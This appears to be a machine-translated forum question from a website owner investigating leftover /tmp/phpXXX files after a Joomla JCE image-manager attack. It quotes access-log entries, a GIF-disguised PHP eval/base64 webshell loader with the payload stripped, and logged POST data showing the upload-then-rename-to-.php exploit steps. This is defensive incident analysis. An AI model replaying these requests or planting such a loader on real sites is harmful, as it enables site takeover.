use*_*038 5 php mysql joomla virus tmp
我为第一个计时器的大帖子道歉.我无法找到/tmp/phpXXX在我的服务器上创建的文件的原因.似乎有些网站(以下数据中的BAD GUY IP)正在向我的网站发送帖子以获取Joomla漏洞(我没有安装Joomla).攻击尝试上传gif文件,然后将gif文件重命名为php文件."gif"文件中的代码是一个木马控制面板.我很确定攻击者无法将gif文件重命名为php文件.
我的问题是如何/tmp/phpXXX在我的网站上创建文件？为什么/tmp/phpXXX文件会粘在一起？似乎图像上传和重命名失败,因此应该清理临时文件.我试图复制攻击帖子对我的网站没有运气创建/tmp/phpXXX文件.
似乎如果我能理解为什么/tmp/phpXXX文件会粘在它上面会帮助我理解我的网站上是否有真正的漏洞.
谢谢阅读!
我的网站由雅虎托管
我在/tmp目录中找到了特洛伊木马的临时文件.它看起来像是一个Joomla JCE漏洞攻击(我没有安装Joomla)请参阅:http://forum.joomla.org/viewtopic.php
？f = 432&t = 740054创建的文件是随机文件名(即phpXXX )
这些文件包含以下内容(我能够删除刻度线之间的坏东西)
GIF89aGiam
<?php eval(gzinflate(str_rot13(base64_decode('')))); ?>
我将/ tmp/phpXXX文件时间与我的access.log文件中的某些帖子相关联
这是最近的一些帖子......
BAD GUY IP - - [25/Feb/2014:22:09:15 -0800] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1" 200 12608 "-" "BOT/0.1 (BOT for JCE)" "www.MYSITE.com"
BAD GUY IP - - [25/Feb/2014:22:09:22 -0800] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1" 200 12608 "-" "BOT/0.1 (BOT for JCE)" "www.MYSITE.com"
BAD GUY IP - - [25/Feb/2014:22:10:03 -0800] "GET /images/stories/food.php?rf HTTP/1.1" 404 89 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" "www.MYSITE.com"
BAD GUY IP - - [25/Feb/2014:22:10:58 -0800] "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1" 200 - "-" "BOT/0.1 (BOT for JCE)" "www.MYSITE.com"
我写了一些代码来从帖子中转储数据......
if (isset($_REQUEST['option'])) {
$today = date("D M j G:i:s T Y");
file_put_contents($hack_log_file, "\nDATE / TIME: ".$today."\n", FILE_APPEND);
$serverInfo = $_SERVER['HTTP_REFERER'];
file_put_contents($hack_log_file, "\nHTTP_REFERER: ".$serverInfo."\n", FILE_APPEND);
$serverInfo = $_SERVER['REMOTE_ADDR'];
file_put_contents($hack_log_file, "REMOTE_ADDR: ".$serverInfo."\n", FILE_APPEND);
$serverInfo = $_SERVER['REMOTE_HOST'];
file_put_contents($hack_log_file, "REMOTE_HOST: ".$serverInfo."\n", FILE_APPEND);
foreach ($_GET as $key => $value) {
file_put_contents($hack_log_file, "GET: ".$key." => ".$value."\n", FILE_APPEND);}
foreach ($_POST as $key => $value) {
file_put_contents($hack_log_file, "POST: ".$key." => ".$value."\n", FILE_APPEND);}
$results = print_r($_FILES, true);
file_put_contents($hack_log_file, "FILES:\n".$results."\nEND FILES:\n", FILE_APPEND);}
以下是我捕获"攻击"的结果......
DATE / TIME: Tue Feb 25 22:09:15 PST 2014
HTTP_REFERER:
REMOTE_ADDR: BAD GUY IP
REMOTE_HOST:
GET: option => com_jce
GET: task => plugin
GET: plugin => imgmanager
GET: file => imgmanager
GET: version => 1576
GET: cid => 20
POST: json => {\"fn\":\"folderRename\",\"args\":[\"/food.gif\",\"food.php\"]}
FILES:
Array
(
)
END FILES:
DATE / TIME: Tue Feb 25 22:09:22 PST 2014
HTTP_REFERER:
REMOTE_ADDR: BAD GUY IP
REMOTE_HOST:
GET: option => com_jce
GET: task => plugin
GET: plugin => imgmanager
GET: file => imgmanager
GET: version => 1576
GET: cid => 20
POST: json => {\"fn\":\"folderRename\",\"args\":[\"/food.gif\",\"food.php\"]}
FILES:
Array
(
)
HTTP_REFERER:
REMOTE_ADDR: BAD GUY IP
REMOTE_HOST:
GET: option => com_jce
GET: task => plugin
GET: plugin => imgmanager
GET: file => imgmanager
GET: method => form
GET: cid => 20
GET: 6bc427c8a7981f4fe1f5ac65c1246b5f => cf6dd3cf1923c950586d0dd595c8e20b
POST: upload-dir => /
POST: upload-overwrite => 0
POST: upload-name => food
POST: action => upload
FILES:
Array
(
[Filedata] => Array
(
[name] => food.gif
[type] => image/gif
[tmp_name] => /tmp/phpR1KNP7
[error] => 0
[size] => 1524
)
)
END FILES:
DATE / TIME: Tue Feb 25 22:11:04 PST 2014
HTTP_REFERER:
REMOTE_ADDR: BAD GUY IP
REMOTE_HOST:
GET: option => com_jce
GET: task => plugin
GET: plugin => imgmanager
GET: file => imgmanager
GET: method => form
GET: cid => 20
GET: 6bc427c8a7981f4fe1f5ac65c1246b5f => cf6dd3cf1923c950586d0dd595c8e20b
POST: upload-dir => /
POST: upload-overwrite => 0
POST: upload-name => food
POST: action => upload
FILES:
Array
(
[Filedata] => Array
(
[name] => food.gif
[type] => image/gif
[tmp_name] => /tmp/phpDUbonr
[error] => 0
[size] => 1524
)
)
END FILES: